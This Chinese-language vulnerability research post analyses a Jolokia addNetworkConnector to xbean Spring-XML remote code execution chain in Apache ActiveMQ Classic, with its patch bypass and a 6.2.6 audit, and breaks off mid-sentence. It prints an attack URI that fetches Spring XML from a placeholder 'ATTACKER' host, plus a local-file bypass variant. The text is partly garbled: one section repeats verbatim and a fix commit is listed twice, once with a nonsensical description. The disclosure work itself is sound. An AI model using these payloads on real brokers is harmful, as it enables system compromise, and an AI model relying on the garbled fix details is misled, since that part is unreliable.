Apache ActiveMQ Classic 重大 RCE 研究：CVE-2026-34197 及其补丁绕过 CVE-2026-42588 全解析

Ots安全

2026年7月6日 10:17
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

今天为大家带来一篇重量级技术分析——Apache ActiveMQ Classic 中那条潜伏多年的 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链的完整研究拆解。这份研究不仅复现了 CVE-2026-34197，还发现了其官方补丁的绕过方式 CVE-2026-42588，并对强化后的 6.2.6 版本进行了全面审计，同时与 Crowdfense 的公开绕过文章做了并排对比。所有测试均在本地实验室（Docker/自托管）环境下完成，严格使用占位符攻击者主机，不包含任何真实恶意payload。

一、漏洞核心原理（一句话版）

已认证的 Jolokia 调用者（6.0.0–6.1.1 版本因 CVE-2024-32114 可未授权）通过 BrokerView.addNetworkConnector(uri)，传入精心构造的发现 URI（如 vm://…?brokerConfig=xbean:），强制 Broker 在验证前加载攻击者控制的 Spring XML，进而实例化 ProcessBuilder Bean 执行系统命令，实现 RCE。攻击链简图：

POST /api/jolokia/
→ BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory 动态创建 Broker
→ XBeanBrokerFactory
→ ResourceXmlApplicationContext 加载 Spring XML
→ ProcessBuilder Bean → RCE

二、已证实的 exploitation 链

CVE-2026-34197 Jolokia addNetworkConnector → xbean Spring-XML RCE
RCE 严重 认证后（早期版本未授权） uid=0 实测成功（5.18.3/5.18.6/6.1.4/6.1.7）

CVE-2026-42588 无括号复合 URI 绕过拒绝列表 RCE（补丁绕过）
严重 认证后 uid=0 实测成功（已打 34197 补丁的 5.19.6 + 6.2.0）

CVE-2026-42253MessageServlet 头部注入 → 存储型 XSS
XSS 中等 认证后 6.2.0 版本在线验证

三、6.2.6 强化版全面审计

发现6.2.6 版本已有效封堵主 RCE 链，但仍存在一批中低危问题（均经源码验证）：

C1：static:静止的：拒绝列表绕过 → SSRF（可发起出站 TCP 连接）
B1：持久订阅跨 clientId 删除 IDOR
B3：LDAP 空密码导致匿名绑定
A1–A7：控制台输出编码注入家族（MessageId.textView 等）
B2/B4/B5/B6/B7：权限绕过、身份冲突、欺骗等配置相关问题
F5：STOMP 出站头部帧注入

重要提醒：6.2.6 已无新的未授权 RCE，风险主要转移到授权控制和输出编码领域。

四、与 Crowdfense 绕过文章对比

两者均针对同一攻击链，均识别出三层防御。核心差异在第二层绕过：

层1（方案拒绝列表）：双方均使用无括号复合 static:(vm://…) 独立发现绕过。
层2（xbean 允许列表）：Crowdfense 使用百分号编码 + Windows UNC/WebDAV 实现完全远程（无需本地写）；本研究使用 xbean:/tmp/evil.xml（需本地写权限，Linux 环境）。
层3（VMTransportFactory 方案门）：6.2.6 已彻底封堵。

Crowdfense 的 Windows 特定技巧在 Linux 上不可复现，但在 Windows 5.19.6 等版本配合 SMB/WebDAV 仍可能实现完全远程绕过。

四、与 Crowdfense 绕过文章对比

两者均针对同一攻击链，均识别出三层防御。核心差异在第二层绕过：

层1（方案拒绝列表）：双方均使用无括号复合 static:(vm://…) 独立发现绕过。
层2（xbean 允许列表）：Crowdfense 使用百分号编码 + Windows UNC/WebDAV 实现完全远程（无需本地写）；本研究使用 xbean:/tmp/evil.xml（需本地写权限，Linux 环境）。
层3（VMTransportFactory 方案门）：6.2.6 已彻底封堵。

Crowdfense 的 Windows 特定技巧在 Linux 上不可复现，但在 Windows 5.19.6 等版本配合 SMB/WebDAV 仍可能实现完全远程绕过。

五、官方修复措施（6.2.6）

三个关键提交彻底关闭了该链：

c1b44af11：无条件解析复合 URI 并递归处理

c2fc7a1d6：VMTransportFactory 默认阻断 XBeanBrokerFactory

c2fc7a1d6：VMTransportFactory 暂时爆发

be8415f24：示例配置强化（Jolokia 绑定 loopback + 操作拒绝列表）

强烈建议：